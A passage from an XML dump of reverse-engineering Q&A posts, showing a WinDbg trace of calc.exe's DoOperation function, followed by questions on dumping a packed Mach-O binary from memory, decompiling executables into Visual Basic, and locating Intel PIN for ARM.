    25      25      25&#xA;kernel32!LocalFree                                    1      17      17      17&#xA;&#xA;0 system calls were executed&#xA;&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you find escaping quotes a bit annoying and would like to keep on tracing DoOperation several times put these commands in a text file say foo.txt and run the script with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cdb -c &quot;$$&amp;gt;a&amp;lt; c:\foo.txt&quot;  calc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;contents of foo.txt&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bp calc!DoOperation &quot;bp /1 @$ra \&quot;g\&quot;;wt -m calc&quot;&#xA;g;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this sets a one shot breakpoint on the return address of DoOperation() and issues a go to tell windbg to keep on executing the target after tracing and returning from the Function DoOperation() in calc.exe&lt;/p&gt;&#xA;&#xA;&lt;p&gt;output below contains an addition and LeftShift operation trace in calc.exe&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&gt;cdb -c &quot;$$&gt;a&amp;lt; c:\foo.txt&quot;  calc&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; cdb: Reading initial command '$$&amp;gt;a&amp;lt; c:\foo.txt'&#xA;Addition operation &#xA;&#xA;Tracing calc!DoOperation to return address 010035a0&#xA;    2     0 [  0] calc!DoOperation&#xA;   10     0 [  1]   calc!_EH_prolog&#xA;   18    10 [  0] calc!DoOperation&#xA;    6     0 [  1]   calc!mulrat&#xA;   14     0 [  2]     calc!zernum&#xA;   12    14 [  1]   calc!mulrat&#xA;   22     0 [  2]     calc!mulnumx&#xA;   19     0 [  3]       calc!_mulnumx&#xA;    6     0 [  4]         calc!_createnum&#xA;   25     0 [  5]           kernel32!LocalAlloc&#xA;   12    25 [  4]         calc!_createnum&#xA;  127    37 [  3]       calc!_mulnumx&#xA;    3     0 [  4]         calc!_destroynum&#xA;   17     0 [  4]         kernel32!LocalFree&#xA;  133    57 [  3]       calc!_mulnumx&#xA;   27   190 [  2]     calc!mulnumx&#xA;   17   231 [  1]   calc!mulrat&#xA;   24     0 [  2]     calc!mulnumx&#xA;   19   255 [  1]   calc!mulrat&#xA;   36     0 [  2]     calc!trimit&#xA;   23   291 [  1]   calc!mulrat&#xA;   26   324 [  0] calc!DoOperation&#xA;&#xA;350 instructions were executed in 349 events (0 from other threads)&#xA;&#xA;left shift operation&#xA;&#xA;Tracing calc!DoOperation to return address 010035a0&#xA;    2     0 [  0] calc!DoOperation&#xA;   10     0 [  1]   calc!_EH_prolog&#xA;   26    10 [  0] calc!DoOperation&#xA;    6     0 [  1]   calc!_destroyrat&#xA;   28    16 [  0] calc!DoOperation&#xA;    4     0 [  1]   calc!_createrat&#xA;   25     0 [  2]     kernel32!LocalAlloc&#xA;   12    25 [  1]   calc!_createrat&#xA;   32    53 [  0] calc!DoOperation&#xA;    3     0 [  1]   calc!_destroynum&#xA;   39    56 [  0] calc!DoOperation&#xA;    6     0 [  1]   calc!_createnum&#xA;   25     0 [  2]     kernel32!LocalAlloc&#xA;   12    25 [  1]   calc!_createnum&#xA;   59    93 [  0] calc!DoOperation&#xA;    3     0 [  1]   calc!_destroynum&#xA;   65    96 [  0] calc!DoOperation&#xA;    6     0 [  1]   calc!_createnum&#xA;   25     0 [  2]     kernel32!LocalAlloc&#xA;   12    25 [  1]   calc!_createnum&#xA;   84   133 [  0] calc!DoOperation&#xA;    6     0 [  1]   calc!_destroyrat&#xA;    3     0 [  2]     calc!_destroynum&#xA;   17     0 [  2]     kernel32!LocalFree&#xA;    9    20 [  1]   calc!_destroyrat&#xA;    3     0 [  2]     calc!_destroynum&#xA;   17     0 [  2]     kernel32!LocalFree&#xA;   12    40 [  1]   calc!_destroyrat&#xA;   17     0 [  2]     kernel32!LocalFree&#xA;   14    57 [  1]   calc!_destroyrat&#xA;   86   204 [  0] calc!DoOperation&#xA;    4     0 [  1]   calc!_createrat&#xA;   25     0 [  2]     kernel32!LocalAlloc&#xA;   12    25 [  1]   calc!_createrat&#xA;   89   241 [  0] calc!DoOperation&#xA;    3     0 [  1]   calc!_destroynum&#xA;   95   244 [  0] calc!DoOperation&#xA;    6     0 [  1]   calc!_createnum&#xA;   25     0 [  2]     kernel32!LocalAlloc&#xA;   12    25 [  1]   calc!_createnum&#xA;  114   281 [  0] calc!DoOperation&#xA;    3     0 [  1]   calc!_destroynum&#xA;  120   284 [  0] calc!DoOperation&#xA;    6     0 [  1]   calc!_createnum&#xA;   25     0 [  2]     kernel32!LocalAlloc&#xA;   12    25 [  1]   calc!_createnum&#xA;  139   321 [  0] calc!DoOperation&#xA;    8     0 [  1]   calc!lshrat&#xA;   11     0 [  2]     calc!intrat&#xA;   14     0 [  3]       calc!zernum&#xA;   17    14 [  2]     calc!intrat&#xA;   52     0 [  3]       calc!equnum&#xA;   23    66 [  2]     calc!intrat&#xA;   11    89 [  1]   calc!lshrat&#xA;   14     0 [  2]     calc!zernum&#xA;   16   103 [  1]   calc!lshrat&#xA;   10     0 [  2]     calc!rat_gt&#xA;    6     0 [  3]       calc!_destroyrat&#xA;   12     6 [  2]     calc!rat_gt&#xA;    4     0 [  3]       calc!_createrat&#xA;   25     0 [  4]         kernel32!LocalAlloc&#xA;   12    25 [  3]       calc!_createrat&#xA;   15    43 [  2]     calc!rat_gt&#xA;    3     0 [  3]       calc!_destroynum&#xA;   21    46 [  2]     calc!rat_gt&#xA;    6     0 [  3]       calc!_createnum&#xA;   25     0 [  4]         kernel32!LocalAlloc&#xA;   12    25 [  3]       calc!_createnum&#xA;   40    83 [  2]     calc!rat_gt&#xA;    3     0 [  3]       calc!_destroynum&#xA;   45    86 [  2]     calc!rat_gt&#xA;    6     0 [  3]       calc!_createnum&#xA;   25     0 [  4]         kernel32!LocalAlloc&#xA;   12    25 [  3]       calc!_createnum&#xA;   69   123 [  2]     calc!rat_gt&#xA;   12     0 [  3]       calc!addrat&#xA;   52     0 [  4]         calc!equnum&#xA;   36    52 [  3]       calc!addrat&#xA;   19     0 [  4]         calc!addnum&#xA;   30     0 [  5]           calc!_addnum&#xA;    6     0 [  6]             calc!_createnum&#xA;   25     0 [  7]               kernel32!LocalAlloc&#xA;   12    25 [  6]             calc!_createnum&#xA;  142    37 [  5]           calc!_addnum&#xA;    3     0 [  6]             calc!_destroynum&#xA;   17     0 [  6]             kernel32!LocalFree&#xA;  148    57 [  5]           calc!_addnum&#xA;   23   205 [  4]         calc!addnum&#xA;   41   280 [  3]       calc!addrat&#xA;   74   444 [  2]     calc!rat_gt&#xA;   14     0 [  3]       calc!zernum&#xA;   88   458 [  2]     calc!rat_gt&#xA;    6     0 [  3]       calc!_destroyrat&#xA;    3     0 [  4]         calc!_destroynum&#xA;   17     0 [  4]         kernel32!LocalFree&#xA;    9    20 [  3]       calc!_destroyrat&#xA;    3     0 [  4]         calc!_destroynum&#xA;   17     0 [  4]         kernel32!LocalFree&#xA;   12    40 [  3]       calc!_destroyrat&#xA;   17     0 [  4]         kernel32!LocalFree&#xA;   14    57 [  3]       calc!_destroyrat&#xA;   94   529 [  2]     calc!rat_gt&#xA;   21   726 [  1]   calc!lshrat&#xA;   12     0 [  2]     calc!rattolong&#xA;   10     0 [  3]       calc!rat_gt&#xA;    6     0 [  4]         calc!_destroyrat&#xA;   12     6 [  3]       calc!rat_gt&#xA;    4     0 [  4]         calc!_createrat&#xA;   25     0 [  5]           kernel32!LocalAlloc&#xA;   12    25 [  4]         calc!_createrat&#xA;   15    43 [  3]       calc!rat_gt&#xA;    3     0 [  4]         calc!_destroynum&#xA;   21    46 [  3]       calc!rat_gt&#xA;    6     0 [  4]         calc!_createnum&#xA;   25     0 [  5]           kernel32!LocalAlloc&#xA;   12    25 [  4]         calc!_createnum&#xA;   40    83 [  3]       calc!rat_gt&#xA;    3     0 [  4]         calc!_destroynum&#xA;   45    86 [  3]       calc!rat_gt&#xA;    6     0 [  4]         calc!_createnum&#xA;   25     0 [  5]           kernel32!LocalAlloc&#xA;   12    25 [  4]         calc!_createnum&#xA;   69   123 [  3]       calc!rat_gt&#xA;   12     0 [  4]         calc!addrat&#xA;   52     0 [  5]           calc!equnum&#xA;   36    52 [  4]         calc!addrat&#xA;   17     0 [  5]           calc!addnum&#xA;   30     0 [  6]             calc!_addnum&#xA;    6     0 [  7]               calc!_createnum&#xA;   25     0 [  8]                 kernel32!LocalAlloc&#xA;   12    25 [  7]               calc!_createnum&#xA;  199    37 [  6]             calc!_addnum&#xA;    3     0 [  7]               calc!_destroynum&#xA;   17     0 [  7]               kernel32!LocalFree&#xA;  205    57 [  6]             calc!_addnum&#xA;   21   262 [  5]           calc!addnum&#xA;   41   335 [  4]         calc!addrat&#xA;   74   499 [  3]       calc!rat_gt&#xA;   14     0 [  4]         calc!zernum&#xA;   88   513 [  3]       calc!rat_gt&#xA;    6     0 [  4]         calc!_destroyrat&#xA;    3     0 [  5]           calc!_destroynum&#xA;   17     0 [  5]           kernel32!LocalFree&#xA;    9    20 [  4]         calc!_destroyrat&#xA;    3     0 [  5]           calc!_destroynum&#xA;   17     0 [  5]           kernel32!LocalFree&#xA;   12    40 [  4]         calc!_destroyrat&#xA;   17     0 [  5]           kernel32!LocalFree&#xA;   14    57 [  4]         calc!_destroyrat&#xA;   94   584 [  3]       calc!rat_gt&#xA;   17   678 [  2]     calc!rattolong&#xA;   10     0 [  3]       calc!rat_lt&#xA;    6     0 [  4]         calc!_destroyrat&#xA;   12     6 [  3]       calc!rat_lt&#xA;    4     0 [  4]         calc!_createrat&#xA;   25     0 [  5]           kernel32!LocalAlloc&#xA;   12    25 [  4]         calc!_createrat&#xA;   15    43 [  3]       calc!rat_lt&#xA;    3     0 [  4]         calc!_destroynum&#xA;   21    46 [  3]       calc!rat_lt&#xA;    6     0 [  4]         calc!_createnum&#xA;   25     0 [  5]           kernel32!LocalAlloc&#xA;   12    25 [  4]         calc!_createnum&#xA;   40    83 [  3]       calc!rat_lt&#xA;    3     0 [  4]         calc!_destroynum&#xA;   45    86 [  3]       calc!rat_lt&#xA;    6     0 [  4]         calc!_createnum&#xA;   25     0 [  5]           kernel32!LocalAlloc&#xA;   12    25 [  4]         calc!_createnum&#xA;   69   123 [  3]       calc!rat_lt&#xA;   12     0 [  4]         calc!addrat&#xA;   52     0 [  5]           calc!equnum&#xA;   36    52 [  4]         calc!addrat&#xA;   17     0 [  5]           calc!addnum&#xA;   30     0 [  6]             calc!_addnum&#xA;    6     0 [  7]               calc!_createnum&#xA;   25     0 [  8]                 kernel32!LocalAlloc&#xA;   12    25 [  7]               calc!_createnum&#xA;  157    37 [  6]             calc!_addnum&#xA;    3     0 [  7]               calc!_destroynum&#xA;   17     0 [  7]               kernel32!LocalFree&#xA;  163    57 [  6]             calc!_addnum&#xA;   21   220 [  5]           calc!addnum&#xA;   41   293 [  4]         calc!addrat&#xA;   74   457 [  3]       calc!rat_lt&#xA;   14     0 [  4]         calc!zernum&#xA;   86   471 [  3]       calc!rat_lt&#xA;    6     0 [  4]         calc!_destroyrat&#xA;    3     0 [  5]           calc!_destroynum&#xA;   17     0 [  5]           kernel32!LocalFree&#xA;    9    20 [  4]         calc!_destroyrat&#xA;    3     0 [  5]           calc!_destroynum&#xA;   17     0 [  5]           kernel32!LocalFree&#xA;   12    40 [  4]         calc!_destroyrat&#xA;   17     0 [  5]           kernel32!LocalFree&#xA;   14    57 [  4]         calc!_destroyrat&#xA;   92   542 [  3]       calc!rat_lt&#xA;   21  1312 [  2]     calc!rattolong&#xA;    6     0 [  3]       calc!_destroyrat&#xA;   23  1318 [  2]     calc!rattolong&#xA;    4     0 [  3]       calc!_createrat&#xA;   25     0 [  4]         kernel32!LocalAlloc&#xA;   12    25 [  3]       calc!_createrat&#xA;   26  1355 [  2]     calc!rattolong&#xA;    3     0 [  3]       calc!_destroynum&#xA;   31  1358 [  2]     calc!rattolong&#xA;    6     0 [  3]       calc!_createnum&#xA;   25     0 [  4]         kernel32!LocalAlloc&#xA;   12    25 [  3]       calc!_createnum&#xA;   50  1395 [  2]     calc!rattolong&#xA;    3     0 [  3]       calc!_destroynum&#xA;   55  1398 [  2]     calc!rattolong&#xA;    6     0 [  3]       calc!_createnum&#xA;   25     0 [  4]         kernel32!LocalAlloc&#xA;   12    25 [  3]       calc!_createnum&#xA;   75  1435 [  2]     calc!rattolong&#xA;   11     0 [  3]       calc!intrat&#xA;   14     0 [  4]         calc!zernum&#xA;   17    14 [  3]       calc!intrat&#xA;   52     0 [  4]         calc!equnum&#xA;   23    66 [  3]       calc!intrat&#xA;   79  1524 [  2]     calc!rattolong&#xA;   24     0 [  3]       calc!divnumx&#xA;   82  1548 [  2]     calc!rattolong&#xA;    3     0 [  3]       calc!_destroynum&#xA;   17     0 [  3]       kernel32!LocalFree&#xA;   87  1568 [  2]     calc!rattolong&#xA;    6     0 [  3]       calc!_createnum&#xA;   25     0 [  4]         kernel32!LocalAlloc&#xA;   12    25 [  3]       calc!_createnum&#xA;  107  1605 [  2]     calc!rattolong&#xA;   28     0 [  3]       calc!numtolong&#xA;  110  1633 [  2]     calc!rattolong&#xA;    6     0 [  3]       calc!_destroyrat&#xA;    3     0 [  4]         calc!_destroynum&#xA;   17     0 [  4]         kernel32!LocalFree&#xA;    9    20 [  3]       calc!_destroyrat&#xA;    3     0 [  4]         calc!_destroynum&#xA;   17     0 [  4]         kernel32!LocalFree&#xA;   12    40 [  3]       calc!_destroyrat&#xA;   17     0 [  4]         kernel32!LocalFree&#xA;   14    57 [  3]       calc!_destroyrat&#xA;  116  1704 [  2]     calc!rattolong&#xA;   24  2546 [  1]   calc!lshrat&#xA;    6     0 [  2]     calc!_destroyrat&#xA;   26  2552 [  1]   calc!lshrat&#xA;    4     0 [  2]     calc!_createrat&#xA;   25     0 [  3]       kernel32!LocalAlloc&#xA;   12    25 [  2]     calc!_createrat&#xA;   29  2589 [  1]   calc!lshrat&#xA;    3     0 [  2]     calc!_destroynum&#xA;   35  2592 [  1]   calc!lshrat&#xA;    6     0 [  2]     calc!_createnum&#xA;   25     0 [  3]       kernel32!LocalAlloc&#xA;   12    25 [  2]     calc!_createnum&#xA;   55  2629 [  1]   calc!lshrat&#xA;    3     0 [  2]     calc!_destroynum&#xA;   61  2632 [  1]   calc!lshrat&#xA;    6     0 [  2]     calc!_createnum&#xA;   25     0 [  3]       kernel32!LocalAlloc&#xA;   12    25 [  2]     calc!_createnum&#xA;   82  2669 [  1]   calc!lshrat&#xA;   10     0 [  2]     calc!ratpowlong&#xA;    3     0 [  3]       calc!longtorat&#xA;    4     0 [  4]         calc!_createrat&#xA;   25     0 [  5]           kernel32!LocalAlloc&#xA;   12    25 [  4]         calc!_createrat&#xA;    8    37 [  3]       calc!longtorat&#xA;    3     0 [  4]         calc!longtonum&#xA;    6     0 [  5]           calc!_createnum&#xA;   25     0 [  6]             kernel32!LocalAlloc&#xA;   12    25 [  5]           calc!_createnum&#xA;   21    37 [  4]         calc!longtonum&#xA;   12    95 [  3]       calc!longtorat&#xA;    3     0 [  4]         calc!longtonum&#xA;    6     0 [  5]           calc!_createnum&#xA;   25     0 [  6]             kernel32!LocalAlloc&#xA;   12    25 [  5]           calc!_createnum&#xA;   21    37 [  4]         calc!longtonum&#xA;   17   153 [  3]       calc!longtorat&#xA;   21   170 [  2]     calc!ratpowlong&#xA;   25     0 [  3]       calc!mulnumx&#xA;    3     0 [  4]         calc!_destroynum&#xA;   17     0 [  4]         kernel32!LocalFree&#xA;   28    20 [  3]       calc!mulnumx&#xA;    6     0 [  4]         calc!_createnum&#xA;   25     0 [  5]           kernel32!LocalAlloc&#xA;   12    25 [  4]         calc!_createnum&#xA;   51    57 [  3]       calc!mulnumx&#xA;   27   278 [  2]     calc!ratpowlong&#xA;   24     0 [  3]       calc!mulnumx&#xA;   30   302 [  2]     calc!ratpowlong&#xA;    6     0 [  3]       calc!mulrat&#xA;   14     0 [  4]         calc!zernum&#xA;   12    14 [  3]       calc!mulrat&#xA;   22     0 [  4]         calc!mulnumx&#xA;   19     0 [  5]           calc!_mulnumx&#xA;    6     0 [  6]             calc!_createnum&#xA;   25     0 [  7]               kernel32!LocalAlloc&#xA;   12    25 [  6]             calc!_createnum&#xA;  127    37 [  5]           calc!_mulnumx&#xA;    3     0 [  6]             calc!_destroynum&#xA;   17     0 [  6]             kernel32!LocalFree&#xA;  133    57 [  5]           calc!_mulnumx&#xA;   27   190 [  4]         calc!mulnumx&#xA;   17   231 [  3]       calc!mulrat&#xA;   24     0 [  4]         calc!mulnumx&#xA;   19   255 [  3]       calc!mulrat&#xA;   36     0 [  4]         calc!trimit&#xA;   23   291 [  3]       calc!mulrat&#xA;   33   616 [  2]     calc!ratpowlong&#xA;   36     0 [  3]       calc!trimit&#xA;   35   652 [  2]     calc!ratpowlong&#xA;   36     0 [  3]       calc!trimit&#xA;   43   688 [  2]     calc!ratpowlong&#xA;    6     0 [  3]       calc!mulrat&#xA;   14     0 [  4]         calc!zernum&#xA;   12    14 [  3]       calc!mulrat&#xA;   22     0 [  4]         calc!mulnumx&#xA;   19     0 [  5]           calc!_mulnumx&#xA;    6     0 [  6]             calc!_createnum&#xA;   25     0 [  7]               kernel32!LocalAlloc&#xA;   12    25 [  6]             calc!_createnum&#xA;  127    37 [  5]           calc!_mulnumx&#xA;    3     0 [  6]             calc!_destroynum&#xA;   17     0 [  6]             kernel32!LocalFree&#xA;  133    57 [  5]           calc!_mulnumx&#xA;   27   190 [  4]         calc!mulnumx&#xA;   17   231 [  3]       calc!mulrat&#xA;   24     0 [  4]         calc!mulnumx&#xA;   19   255 [  3]       calc!mulrat&#xA;   36     0 [  4]         calc!trimit&#xA;   23   291 [  3]       calc!mulrat&#xA;   46  1002 [  2]     calc!ratpowlong&#xA;   36     0 [  3]       calc!trimit&#xA;   48  1038 [  2]     calc!ratpowlong&#xA;   36     0 [  3]       calc!trimit&#xA;   57  1074 [  2]     calc!ratpowlong&#xA;   22     0 [  3]       calc!mulnumx&#xA;   19     0 [  4]         calc!_mulnumx&#xA;    6     0 [  5]           calc!_createnum&#xA;   25     0 [  6]             kernel32!LocalAlloc&#xA;   12    25 [  5]           calc!_createnum&#xA;  127    37 [  4]         calc!_mulnumx&#xA;    3     0 [  5]           calc!_destroynum&#xA;   17     0 [  5]           kernel32!LocalFree&#xA;  133    57 [  4]         calc!_mulnumx&#xA;   27   190 [  3]       calc!mulnumx&#xA;   63  1291 [  2]     calc!ratpowlong&#xA;   24     0 [  3]       calc!mulnumx&#xA;   66  1315 [  2]     calc!ratpowlong&#xA;    6     0 [  3]       calc!mulrat&#xA;   14     0 [  4]         calc!zernum&#xA;   12    14 [  3]       calc!mulrat&#xA;   22     0 [  4]         calc!mulnumx&#xA;   19     0 [  5]           calc!_mulnumx&#xA;    6     0 [  6]             calc!_createnum&#xA;   25     0 [  7]               kernel32!LocalAlloc&#xA;   12    25 [  6]             calc!_createnum&#xA;  127    37 [  5]           calc!_mulnumx&#xA;    3     0 [  6]             calc!_destroynum&#xA;   17     0 [  6]             kernel32!LocalFree&#xA;  133    57 [  5]           calc!_mulnumx&#xA;   27   190 [  4]         calc!mulnumx&#xA;   17   231 [  3]       calc!mulrat&#xA;   24     0 [  4]         calc!mulnumx&#xA;   19   255 [  3]       calc!mulrat&#xA;   36     0 [  4]         calc!trimit&#xA;   23   291 [  3]       calc!mulrat&#xA;   69  1629 [  2]     calc!ratpowlong&#xA;   36     0 [  3]       calc!trimit&#xA;   71  1665 [  2]     calc!ratpowlong&#xA;   36     0 [  3]       calc!trimit&#xA;   76  1701 [  2]     calc!ratpowlong&#xA;    6     0 [  3]       calc!_destroyrat&#xA;    3     0 [  4]         calc!_destroynum&#xA;   17     0 [  4]         kernel32!LocalFree&#xA;    9    20 [  3]       calc!_destroyrat&#xA;    3     0 [  4]         calc!_destroynum&#xA;   17     0 [  4]         kernel32!LocalFree&#xA;   12    40 [  3]       calc!_destroyrat&#xA;   17     0 [  4]         kernel32!LocalFree&#xA;   14    57 [  3]       calc!_destroyrat&#xA;   82  1772 [  2]     calc!ratpowlong&#xA;   85  4523 [  1]   calc!lshrat&#xA;    6     0 [  2]     calc!mulrat&#xA;   14     0 [  3]       calc!zernum&#xA;   12    14 [  2]     calc!mulrat&#xA;   22     0 [  3]       calc!mulnumx&#xA;   19     0 [  4]         calc!_mulnumx&#xA;    6     0 [  5]           calc!_createnum&#xA;   25     0 [  6]             kernel32!LocalAlloc&#xA;   12    25 [  5]           calc!_createnum&#xA;  127    37 [  4]         calc!_mulnumx&#xA;    3     0 [  5]           calc!_destroynum&#xA;   17     0 [  5]           kernel32!LocalFree&#xA;  133    57 [  4]         calc!_mulnumx&#xA;   27   190 [  3]       calc!mulnumx&#xA;   17   231 [  2]     calc!mulrat&#xA;   24     0 [  3]       calc!mulnumx&#xA;   19   255 [  2]     calc!mulrat&#xA;   36     0 [  3]       calc!trimit&#xA;   23   291 [  2]     calc!mulrat&#xA;   87  4837 [  1]   calc!lshrat&#xA;    6     0 [  2]     calc!_destroyrat&#xA;    3     0 [  3]       calc!_destroynum&#xA;   17     0 [  3]       kernel32!LocalFree&#xA;    9    20 [  2]     calc!_destroyrat&#xA;    3     0 [  3]       calc!_destroynum&#xA;   17     0 [  3]       kernel32!LocalFree&#xA;   12    40 [  2]     calc!_destroyrat&#xA;   17     0 [  3]       kernel32!LocalFree&#xA;   14    57 [  2]     calc!_destroyrat&#xA;   91  4908 [  1]   calc!lshrat&#xA;  144  5320 [  0] calc!DoOperation&#xA;    6     0 [  1]   calc!_destroyrat&#xA;    3     0 [  2]     calc!_destroynum&#xA;   17     0 [  2]     kernel32!LocalFree&#xA;    9    20 [  1]   calc!_destroyrat&#xA;    3     0 [  2]     calc!_destroynum&#xA;   17     0 [  2]     kernel32!LocalFree&#xA;   12    40 [  1]   calc!_destroyrat&#xA;   17     0 [  2]     kernel32!LocalFree&#xA;   14    57 [  1]   calc!_destroyrat&#xA;  153  5391 [  0] calc!DoOperation&#xA;&#xA;5544 instructions were executed in 5543 events (0 from other threads)&#xA;&#xA;Function Name                               Invocations MinInst MaxInst AvgInst&#xA;calc!DoOperation                                      1     153     153     153&#xA;calc!_EH_prolog                                       1      10      10      10&#xA;calc!_addnum                                          3     148     205     172&#xA;calc!_createnum                                      26      12      12      12&#xA;calc!_createrat                                       8      12      12      12&#xA;calc!_destroynum                                     40       3       3       3&#xA;calc!_destroyrat                                     14       6      14      10&#xA;calc!_mulnumx                                         5     133     133     133&#xA;calc!addnum                                           3      21      23      21&#xA;calc!addrat                                           3      41      41      41&#xA;calc!divnumx                                          1      24      24      24&#xA;calc!equnum                                           5      52      52      52&#xA;calc!intrat                                           2      23      23      23&#xA;calc!longtonum                                        2      21      21      21&#xA;calc!longtorat                                        1      17      17      17&#xA;calc!lshrat                                           1      91      91      91&#xA;calc!mulnumx                                         12      24      51      27&#xA;calc!mulrat                                           4      23      23      23&#xA;calc!numtolong                                        1      28      28      28&#xA;calc!rat_gt                                           2      94      94      94&#xA;calc!rat_lt                                           1      92      92      92&#xA;calc!ratpowlong                                       1      82      82      82&#xA;calc!rattolong                                        1     116     116     116&#xA;calc!trimit                                          10      36      36      36&#xA;calc!zernum                                          10      14      14      14&#xA;kernel32!LocalAlloc                                  34      25      25      25&#xA;kernel32!LocalFree                                   34      17      17      17&#xA;&#xA;0 system calls were executed&#xA;&#xA;eax=00000000 ebx=00000000 ecx=7c800000 edx=7c97e120 esi=7c90de6e edi=00000000&#xA;eip=7c90e514 esp=0007fde8 ebp=0007fee4 iopl=0         nv up ei pl zr na pe nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246&#xA;ntdll!KiFastSystemCallRet:&#xA;7c90e514 c3              ret&#xA;0:000&amp;gt; q&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2014-11-07T12:39:53.807" LastActivityDate="2014-11-07T12:39:53.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6607" PostTypeId="1" CreationDate="2014-11-07T12:32:55.467" Score="2" ViewCount="467" Body="&lt;p&gt;I have a packed executable. To take care of the unpacking, I would like to extract the in-memory version of the process, which would ideally be rolled back into the equivalent Mach-O binary -- such that it can be viewed in a disassembler -- I do not need the unpacked file to be runnable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Windows version of the same program exists, and it is also packed. Utilities such as PE Tool make this task simple: you select the process, then the module, and then you have an unpacked binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not able find any applications that can do this on the OS X side. I can imagine two broad approaches with runtime in mind:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;the automatic way PE Tool can generate a binary when given a process and a module&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;attempting to roll a generic memory dump into the correct Mach-O file of the program's main module&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any advice on either of these points. I have an OS X environment at my disposal though I am not familiar with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advice relating to solving this problem through static analysis would also be appreciated&lt;/p&gt;&#xA;" OwnerUserId="9958" LastActivityDate="2014-11-10T11:37:50.120" Title="Generate Mach-O binary from running process" Tags="|disassembly|unpacking|osx|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6610" PostTypeId="1" CreationDate="2014-11-08T21:10:29.550" Score="0" ViewCount="2054" Body="&lt;p&gt;I need to decompile an executable file into its source code and put the source code together again in such a way that it can be recompiled and work as it should. The only issue that I have with this is that I do not know in what language the program was written initially. Since Visual Basic is the programming language that I know best, I would prefer to decompile the executable to it. Is this possible? As far as I understand, executable files, regardless of what language they were written in, all compile to some form of ASM, meaning that it should be possible to decompile to any language that one wants to. Do I understand this correctly?&lt;/p&gt;&#xA;" OwnerUserId="8570" LastActivityDate="2014-11-08T21:53:20.160" Title="Is it possible to decompile an executable into Visual Basic source code when you do not know what language the program was written in?" Tags="|decompilation|executable|decompiler|exe|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6611" PostTypeId="2" ParentId="6610" CreationDate="2014-11-08T21:53:20.160" Score="1" Body="&lt;p&gt;You are slightly correct. Languages like C and C++ do get compiled to native code(what you refer to as ASM), however decompiling them back to pseudo C/C++ is difficult and sometimes impossible. And even if successful, the code will not be 1:1 to the original.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also not possible(or rather, very very difficult) to decompile native code to something like Java or Python. These languages come with their own bytecode format and interpreters and hence do not compile to native code. However this does mean they can be decompiled to more or less their original format.&lt;/p&gt;&#xA;" OwnerUserId="6947" LastActivityDate="2014-11-08T21:53:20.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6612" PostTypeId="1" AcceptedAnswerId="6613" CreationDate="2014-11-08T23:24:59.000" Score="2" ViewCount="2013" Body="&lt;p&gt;While looking around for &quot;PIN for ARM&quot; I came across &lt;a href=&quot;http://www.cs.virginia.edu/kim/docs/cases06.pdf&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;. However, I don't seem to be able to locate it. Is it even made publicly available? Has anyone used this or anything similar?&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2014-11-09T00:47:10.993" Title="has anyone used PIN for ARM" Tags="|arm|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6613" PostTypeId="2" ParentId="6612" CreationDate="2014-11-09T00:28:07.837" Score="0" Body="&lt;p&gt;It used to be available at &lt;a href=&quot;https://software.intel.com/en-us/articles/pintool-downloads&quot; rel=&quot;nofollow&quot;&gt;https://software.intel.com/en-us/articles/pintool-downloads&lt;/a&gt;, but it looks like Intel pulled it between the summer and winter of 2012.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's still available via the &lt;a href=&quot;https://archive.org/web/&quot; rel=&quot;nofollow&quot;&gt;Internet Archive Wayback Machine&lt;/a&gt; though, at &lt;a href=&quot;https://web.archive.org/web/20120618005139/http://software.intel.com/sites/landingpage/pintool/downloads/pin-2.0-5567-gcc.3.3.1-softfp-arm-linux.tar.gz&quot; rel=&quot;nofollow&quot;&gt;https://web.archive.org/web/20120618005139/http://software.intel.com/sites/landingpage/pintool/downloads/pin-2.0-5567-gcc.3.3.1-softfp-arm-linux.tar.gz&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2014-11-09T00:47:10.993" LastActivityDate="2014-11-09T00:47:10.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
